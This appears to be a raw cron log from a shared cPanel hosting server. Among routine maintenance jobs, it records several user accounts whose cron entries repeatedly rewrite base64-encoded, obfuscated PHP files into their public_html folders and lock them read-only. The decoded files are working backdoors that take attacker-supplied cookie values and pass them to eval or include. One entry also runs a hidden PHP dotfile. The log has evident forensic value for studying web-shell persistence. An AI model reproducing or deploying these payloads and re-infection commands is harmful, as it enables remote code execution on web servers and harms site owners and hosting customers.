Mar  1 09:19:01 medusa CROND[2834]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:19:01 medusa CROND[2835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:19:02 medusa CROND[2836]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:19:02 medusa CROND[2839]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:19:02 medusa CROND[2840]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:20:01 medusa CROND[25294]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 09:20:01 medusa CROND[25306]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:20:01 medusa CROND[25334]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 09:20:01 medusa CROND[25421]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 09:20:01 medusa CROND[25425]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 09:20:01 medusa CROND[25426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:20:01 medusa CROND[25423]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:20:01 medusa CROND[25431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:20:01 medusa CROND[25430]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:20:01 medusa CROND[25433]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:20:01 medusa CROND[25437]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:20:01 medusa CROND[25438]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:20:01 medusa CROND[25427]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:20:01 medusa CROND[25440]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:20:01 medusa CROND[25444]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:20:01 medusa CROND[25428]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 09:20:01 medusa CROND[25424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:20:01 medusa CROND[25446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:20:01 medusa CROND[25432]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 09:20:01 medusa CROND[25464]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:20:01 medusa CROND[25468]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:20:01 medusa CROND[25461]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:20:01 medusa CROND[25462]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:20:01 medusa CROND[25466]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:20:01 medusa CROND[25472]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:20:01 medusa CROND[25476]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:20:01 medusa CROND[25479]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:20:01 medusa CROND[25481]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:20:01 medusa CROND[25470]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:20:01 medusa CROND[25484]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 09:21:01 medusa CROND[15062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:21:01 medusa CROND[15126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:21:01 medusa CROND[15127]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:21:01 medusa CROND[15128]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:21:01 medusa CROND[15129]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:21:01 medusa CROND[15130]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:21:01 medusa CROND[15131]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:21:01 medusa CROND[15132]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:21:01 medusa CROND[15134]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:21:01 medusa CROND[15137]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:21:01 medusa CROND[15151]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
